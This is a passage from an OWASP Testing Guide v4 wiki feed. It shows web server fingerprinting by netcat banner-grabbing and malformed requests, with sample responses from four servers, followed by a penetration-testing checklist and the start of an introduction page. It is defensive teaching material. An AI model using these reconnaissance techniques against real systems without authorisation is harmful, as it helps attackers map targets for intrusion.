Date: Mon, 16 Jun 2003 06:19: 04 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From a '''SunONE 6.1''' server:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Sun-ONE-Web-Server/6.1&lt;br /&gt;
Date: Tue, 16 Jan 2007 14:53:45 GMT&lt;br /&gt;
Content-length: 1186&lt;br /&gt;
Content-type: text/html&lt;br /&gt;
Date: Tue, 16 Jan 2007 14:50:31 GMT&lt;br /&gt;
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT&lt;br /&gt;
Accept-Ranges: bytes&lt;br /&gt;
Connection: close&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
However, this testing methodology is limited in accuracy. There are several techniques that allow a web site to obfuscate or to modify the server banner string.&lt;br /&gt;
For example we could obtain the following answer:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
403 HTTP/1.1 Forbidden &lt;br /&gt;
Date: Mon, 16 Jun 2003 02:41: 27 GMT &lt;br /&gt;
Server: Unknown-Webserver/1.0 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML; charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the server field of that response is obfuscated: we cannot know what type of web server is running based on such information.&lt;br /&gt;
&lt;br /&gt;
==== Protocol behaviour ====&lt;br /&gt;
More refined techniques take in consideration various characteristics of the several web servers available on the market. We will list some methodologies that allow us to deduce the type of web server in use.&lt;br /&gt;
&lt;br /&gt;
'''HTTP header field ordering'''&lt;br /&gt;
&lt;br /&gt;
The first method consists of observing the ordering of the several headers in the response. Every web server has an inner ordering of the header. We consider the following answers as an example:&lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:01: 40 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from a '''SunONE 6.1'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc sunone.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Sun-ONE-Web-Server/6.1&lt;br /&gt;
Date: Tue, 16 Jan 2007 15:23:37 GMT&lt;br /&gt;
Content-length: 0&lt;br /&gt;
Content-type: text/html&lt;br /&gt;
Date: Tue, 16 Jan 2007 15:20:26 GMT&lt;br /&gt;
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We can notice that the ordering of the ''Date'' field and the ''Server'' field differs between Apache, Netscape Enterprise, and IIS.&lt;br /&gt;
&lt;br /&gt;
'''Malformed requests test''' &lt;br /&gt;
&lt;br /&gt;
Another useful test to execute involves sending malformed requests or requests of nonexistent pages to the server.&lt;br /&gt;
Consider the following HTTP responses. &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:12: 37 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Connection: close &lt;br /&gt;
Transfer: chunked &lt;br /&gt;
Content-Type: text/HTML; charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 505 HTTP Version Not Supported &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:04: 04 GMT &lt;br /&gt;
Content-length: 140 &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from a '''SunONE 6.1'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc sunone.example.com 80 &lt;br /&gt;
GET / HTTP/3.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad request&lt;br /&gt;
Server: Sun-ONE-Web-Server/6.1&lt;br /&gt;
Date: Tue, 16 Jan 2007 15:25:00 GMT&lt;br /&gt;
Content-length: 0&lt;br /&gt;
Content-type: text/html&lt;br /&gt;
Connection: close&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We notice that every server answers in a different way. The answer also differs in the version of the server. Similar observations can be done we create requests with a non-existent protocol. Consider the following responses: &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:17: 47 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 34 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Content-Length: 87 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Bad request&amp;lt;/TITLE&amp;gt;&amp;lt;/HEAD&amp;gt; &lt;br /&gt;
&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;Bad request&amp;lt;/H1&amp;gt; &lt;br /&gt;
Your browser sent to query this server could not understand. &lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from a '''SunONE 6.1'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc sunone.example.com 80 &lt;br /&gt;
GET / JUNK/1.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Bad request&amp;lt;/TITLE&amp;gt;&amp;lt;/HEAD&amp;gt;&lt;br /&gt;
&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;Bad request&amp;lt;/H1&amp;gt;&lt;br /&gt;
Your browser sent a query this server could not understand.&lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
* httprint - http://net-square.com/httprint.html&lt;br /&gt;
* httprecon - http://www.computec.ch/projekte/httprecon/&lt;br /&gt;
* Netcraft - http://www.netcraft.com&lt;br /&gt;
* Desenmascarame - http://desenmascara.me&lt;br /&gt;
&lt;br /&gt;
=== Automated Testing ===&lt;br /&gt;
Rather than rely on manual banner grabbing and analysis of the web server headers, a tester can use automated tools to achieve the same results. The tests to carryout in order to accurately fingerprint a web server can be many. Luckily, there are tools that automate these tests. &amp;quot;''httprint''&amp;quot; is one of such tools. httprint uses a signature dictionary that allows it to recognize the type and the version of the web server in use.&amp;lt;br&amp;gt;&lt;br /&gt;
An example of running httprint is shown below:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:httprint.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Online Testing === &lt;br /&gt;
Online tools can be used if the tester wishes to test more stealthily and doesn't wish to directly connect to the target website. An example of an online tool that often delivers a lot of information about target Web Servers, is [http://www.netcraft.com Netcraft]. With this tool we can retrieve information about operating system, web server used, Server Uptime, Netblock Owner, history of change related to Web server and O.S.&amp;lt;br&amp;gt;&lt;br /&gt;
An example is shown below:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:netcraft2.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[OWASP Unmaskme Project]] is expected to become another online tool to do fingerprinting of any website with an overall interpretation of all the [[Web-metadata]] extracted. The idea behind this project is that anyone in charge of a website could test the metadata their site is showing to the world and assess it from a security point of view.&lt;br /&gt;
&lt;br /&gt;
While this project is still being developed, you can test a [http://desenmascara.me/ Spanish Proof of Concept of this idea].&lt;br /&gt;
&lt;br /&gt;
== Vulnerability References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Saumil Shah: &amp;quot;An Introduction to HTTP fingerprinting&amp;quot; - http://www.net-square.com/httprint_paper.html&lt;br /&gt;
* Anant Shrivastava : &amp;quot;Web Application Finger Printing&amp;quot; - http://anantshri.info/articles/web_app_finger_printing.html&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
Protect the presentation layer web server behind a hardened reverse proxy.&lt;br /&gt;
&lt;br /&gt;
Obfuscate the presentation layer web server headers.&lt;br /&gt;
* Apache&lt;br /&gt;
* IIS&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Checklist&amp;diff=169393</id>
		<title>Testing Checklist</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Checklist&amp;diff=169393"/>
				<updated>2014-03-04T17:41:53Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
The following is the list of controls to test during the assessment:&lt;br /&gt;
&lt;br /&gt;
{| {{table}}&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#f0f0f0;&amp;quot;|'''Ref. No.'''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#f0f0f0;&amp;quot;|'''Category'''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#f0f0f0;&amp;quot;|'''Test Name'''&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.2||||'''Information Gathering'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.2.1||OTG-INFO-001||Conduct Search Engine Discovery and Reconnaissance for Information Leakage&lt;br /&gt;
|-&lt;br /&gt;
| 4.2.2||OTG-INFO-002||Fingerprint Web Server&lt;br /&gt;
|-&lt;br /&gt;
| 4.2.3||OTG-INFO-003||Review Webserver Metafiles for Information Leakage&lt;br /&gt;
|-&lt;br /&gt;
| 4.2.4||OTG-INFO-004||Enumerate Applications on Webserver&lt;br /&gt;
|-&lt;br /&gt;
| 4.2.5||OTG-INFO-005||Review Webpage Comments and Metadata for Information Leakage&lt;br /&gt;
|-&lt;br /&gt;
| 4.2.6||OTG-INFO-006||Identify application entry points&lt;br /&gt;
|-&lt;br /&gt;
| 4.2.7||OTG-INFO-008||Map execution paths through application&lt;br /&gt;
|-&lt;br /&gt;
| 4.2.8||OTG-INFO-009||Fingerprint Web Application Framework&lt;br /&gt;
|-&lt;br /&gt;
| 4.2.9||OTG-INFO-010||Fingerprint Web Application&lt;br /&gt;
|-&lt;br /&gt;
| 4.2.10||OTG-INFO-011||Map Network and Application Architecture&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.3||||'''Configuration and Deploy Management Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.3.1||OTG-CONFIG-001||Test Network/Infrastructure Configuration&lt;br /&gt;
|-&lt;br /&gt;
| 4.3.2||OTG-CONFIG-002 ||Test Application Platform Configuration&lt;br /&gt;
|-&lt;br /&gt;
| 4.3.3||OTG-CONFIG-003||Test File Extensions Handling for Sensitive Information&lt;br /&gt;
|-&lt;br /&gt;
| 4.3.4||OTG-CONFIG-004|| Backup and Unreferenced Files for Sensitive Information&lt;br /&gt;
|-&lt;br /&gt;
| 4.3.5||OTG-CONFIG-005||Enumerate Infrastructure and Application Admin Interfaces&lt;br /&gt;
|-&lt;br /&gt;
| 4.3.6||OTG-CONFIG-006||Test HTTP Methods&lt;br /&gt;
|-&lt;br /&gt;
| 4.3.7||OTG-CONFIG-009||Test HTTP Strict Transport Security&lt;br /&gt;
|-&lt;br /&gt;
| 4.3.8||OTG-CONFIG-011||Test RIA cross domain policy&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.4||||'''Identity Management Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.4.1||OTG-IDENT-001||Test Role Definitions&lt;br /&gt;
|-&lt;br /&gt;
| 4.4.2||OTG-IDENT-002||Test User Registration Process&lt;br /&gt;
|-&lt;br /&gt;
| 4.4.3||OTG-IDENT-003||Test Account Provisioning Process&lt;br /&gt;
|-&lt;br /&gt;
| 4.4.4||OTG-IDENT-004||Testing for Account Enumeration and Guessable User Account&lt;br /&gt;
|-&lt;br /&gt;
| 4.4.5||OTG-IDENT-005||Testing for Weak or unenforced username policy&lt;br /&gt;
|-&lt;br /&gt;
| 4.4.6||OTG-IDENT-006||Test Permissions of Guest/Training Accounts&lt;br /&gt;
|-&lt;br /&gt;
| 4.4.7||OTG-IDENT-007||Test Account Suspension/Resumption Process&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.5||||'''Authentication Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.5.1||OTG-AUTHN-001||Testing for Credentials Transported over an Encrypted Channel&lt;br /&gt;
|-&lt;br /&gt;
| 4.5.2||OTG-AUTHN-002||Testing for default credentials&lt;br /&gt;
|-&lt;br /&gt;
| 4.5.3||OTG-AUTHN-003||Testing for Weak lock out mechanism&lt;br /&gt;
|-&lt;br /&gt;
| 4.5.4||OTG-AUTHN-004||Testing for bypassing authentication schema&lt;br /&gt;
|-&lt;br /&gt;
| 4.5.5||OTG-AUTHN-005||Test remember password functionality&lt;br /&gt;
|-&lt;br /&gt;
| 4.5.6||OTG-AUTHN-006||Testing for Browser cache weakness&lt;br /&gt;
|-&lt;br /&gt;
| 4.5.7||OTG-AUTHN-007||Testing for Weak password policy&lt;br /&gt;
|-&lt;br /&gt;
| 4.5.8||OTG-AUTHN-008||Testing for Weak security question/answer&lt;br /&gt;
|-&lt;br /&gt;
| 4.5.9||OTG-AUTHN-009||Testing for weak password change or reset functionalities&lt;br /&gt;
|-&lt;br /&gt;
| 4.5.10||OTG-AUTHN-010||Testing for Weaker authentication in alternative channel&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.6||||'''Authorization Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.6.1||OTG-AUTHZ-002||Testing Directory traversal/file include&lt;br /&gt;
|-&lt;br /&gt;
| 4.6.2||OTG-AUTHZ-003||Testing for bypassing authorization schema&lt;br /&gt;
|-&lt;br /&gt;
| 4.6.3||OTG-AUTHZ-004||Testing for Privilege Escalation&lt;br /&gt;
|-&lt;br /&gt;
| 4.6.4||OTG-AUTHZ-005||Testing for Insecure Direct Object References&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.7||||'''Session Management Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.7.1||OTG-SESS-001 ||Testing for Bypassing Session Management Schema&lt;br /&gt;
|-&lt;br /&gt;
| 4.7.2||OTG-SESS-002||Testing for Cookies attributes&lt;br /&gt;
|-&lt;br /&gt;
| 4.7.3||OTG-SESS-003||Testing for Session Fixation&lt;br /&gt;
|-&lt;br /&gt;
| 4.7.4||OTG-SESS-004||Testing for Exposed Session Variables&lt;br /&gt;
|-&lt;br /&gt;
| 4.7.5||OTG-SESS-005||Testing for Cross Site Request Forgery&lt;br /&gt;
|-&lt;br /&gt;
| 4.7.6||OTG-SESS-007 ||Testing for logout functionality&lt;br /&gt;
|-&lt;br /&gt;
| 4.7.7||OTG-SESS-008||Test Session Timeout&lt;br /&gt;
|-&lt;br /&gt;
| 4.7.8||OTG-SESS-010||Testing for Session puzzling&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.8||||'''Data Validation Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.1||OTG-INPVAL-001||Testing for Reflected Cross Site Scripting&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.2||OTG-INPVAL-002||Testing for Stored Cross Site Scripting&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.3||OTG-INPVAL-003 ||Testing for HTTP Verb Tampering&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.4||OTG-INPVAL-004||Testing for HTTP Parameter pollution&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.5||OTG-INPVAL-006||Testing for SQL Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.5.1||||Oracle Testing&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.5.2||||MySQL Testing&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.5.3||||SQL Server Testing&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.5.4||||Testing PostgreSQL&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.5.5||||MS Access Testing&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.5.6||||Testing for NoSQL injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.6||OTG-INPVAL-007||Testing for LDAP Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.7||OTG-INPVAL-008||Testing for ORM Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.8||OTG-INPVAL-009||Testing for XML Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.9||OTG-INPVAL-010||Testing for SSI Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.10||OTG-INPVAL-011||Testing for XPath Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.11||OTG-INPVAL-012||IMAP/SMTP Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.12||OTG-INPVAL-013||Testing for Code Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.12.1||||Testing for Local File Inclusion&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.12.2||||Testing for Remote File Inclusion&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.13||OTG-INPVAL-014||Testing for Command Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.14||OTG-INPVAL-015||Testing for Buffer overflow&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.14.1||||Testing for Heap overflow&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.14.2||||Testing for Stack overflow&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.14.3||||Testing for Format string&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.15||OTG-INPVAL-016||Testing for incubated vulnerabilities&lt;br /&gt;
|-&lt;br /&gt;
| 4.8.16||OTG-INPVAL-017||Testing for HTTP Splitting/Smuggling&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.9||||'''Error Handling'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.9.1||OTG-ERR-001||Analysis of Error Codes&lt;br /&gt;
|-&lt;br /&gt;
| 4.9.2||OTG-ERR-002||Analysis of Stack Traces&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.1||||'''Cryptography'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.10.1||OTG-CRYPST-001||Testing for Weak SSL/TSL Ciphers,  Insufficient Transport Layer Protection&lt;br /&gt;
|-&lt;br /&gt;
| 4.10.2||OTG-CRYPST-003||Testing for Padding Oracle&lt;br /&gt;
|-&lt;br /&gt;
| 4.10.3||OTG-CRYPST-007||Testing for Sensitive information sent via unencrypted channels&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.11||||'''Logging'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.11.1||OTG-LOG-001||Test time synchronisation&lt;br /&gt;
|-&lt;br /&gt;
| 4.11.2||OTG-LOG-002||Test user-viewable log of authentication events&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.12||OWASP-BL-001||'''Business Logic Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.12.1||OTG-BUSLOGIC-001||Test Business Logic Data Validation&lt;br /&gt;
|-&lt;br /&gt;
| 4.12.2||OTG-BUSLOGIC-002||Test Ability to Forge Requests&lt;br /&gt;
|-&lt;br /&gt;
| 4.12.3||OTG-BUSLOGIC-003||Test Integrity Checks&lt;br /&gt;
|-&lt;br /&gt;
| 4.12.4||OTG-BUSLOGIC-004||Test for Process Timing&lt;br /&gt;
|-&lt;br /&gt;
| 4.12.5||OTG-BUSLOGIC-005||Test Number of Times a Function Can be Used Limits&lt;br /&gt;
|-&lt;br /&gt;
| 4.12.6||OTG-BUSLOGIC-006||Testing for the Circumvention of Work Flows&lt;br /&gt;
|-&lt;br /&gt;
| 4.12.7||OTG-BUSLOGIC-007||Test Defenses Against Application Mis-use&lt;br /&gt;
|-&lt;br /&gt;
| 4.12.8||OTG-BUSLOGIC-008||Test Upload of Unexpected File Types&lt;br /&gt;
|-&lt;br /&gt;
| 4.12.9||OTG-BUSLOGIC-009||Test Upload of Malicious Files&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| 4.15||||'''Client Side Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.1||OTG-CLIENT-001||Testing for DOM based Cross Site Scripting&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.2||OWASP-CS-002||Testing for JavaScript Execution&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.3||OWASP-CS-003||Testing for HTML Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.4||OWASP-CS-004 ||Testing for Client Side URL Redirect&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.5||OWASP-CS-005||Testing for CSS Injection&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.6||OWASP-CS-006||Testing for Client Side Resource Manipulation&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.7||OTG-CLIENT-007||Test Cross Origin Resource Sharing&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.8||OTG-CLIENT-008||Testing for Cross Site Flashing&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.9||OTG-CLIENT-009||Testing for Clickjacking&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.10||OTG-CLIENT-010||Testing WebSockets&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.11||OTG-CLIENT-011||Test Web Messaging&lt;br /&gt;
|-&lt;br /&gt;
| 4.15.12||OTG-CLIENT-012||Test Local Storage&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing:_Introduction_and_objectives&amp;diff=169385</id>
		<title>Testing: Introduction and objectives</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing:_Introduction_and_objectives&amp;diff=169385"/>
				<updated>2014-03-04T16:51:54Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
This Chapter describes the OWASP Web Application Penetration testing methodology and explains how to test each vulnerability.&lt;br /&gt;
&lt;br /&gt;
'''What is Web Application Penetration Testing?'''&amp;lt;br&amp;gt;&lt;br /&gt;
A penetration test is a method of evaluating the security of a computer system or network by simulating an attack. A Web Application Penetration Test focuses only on evaluating the security of a web application.&amp;lt;br&amp;gt;&lt;br /&gt;
The process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are found will be presented to the system owner together with an assessment of their impact and often with a proposal for mitigation or a technical solution.&lt;br /&gt;
&lt;br /&gt;
'''What is a vulnerability?'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A vulnerability is a flaw or weakness in a system's design, implementation, or operation and management that could be exploited to violate the system's security policy. &lt;br /&gt;
A threat is a potential attack that, by exploiting a vulnerability, may harm the assets owned by an application (resources of value, such as the data in a database or in the file system).&lt;br /&gt;
A test is an action that tends to show a vulnerability in the application.&lt;br /&gt;
&lt;br /&gt;
'''Our approach in writing this guide'''&lt;br /&gt;
&lt;br /&gt;
The OWASP approach is Open and Collaborative:&lt;br /&gt;
* Open: every security expert can participate with his or her experience in the project. Everything is free.&lt;br /&gt;
* Collaborative: we usually perform brainstorming before the articles are written so we can share our ideas and develop a collective vision of the project. That means rough consensus, wider audience and participation.&amp;lt;br&amp;gt;&lt;br /&gt;
This approach tends to create a defined Testing Methodology that will be:&lt;br /&gt;
* Consistent&lt;br /&gt;
* Reproducible&lt;br /&gt;
* Under quality control&amp;lt;br&amp;gt;&lt;br /&gt;
The problems that we want to be addressed are:&lt;br /&gt;
* Document all&lt;br /&gt;
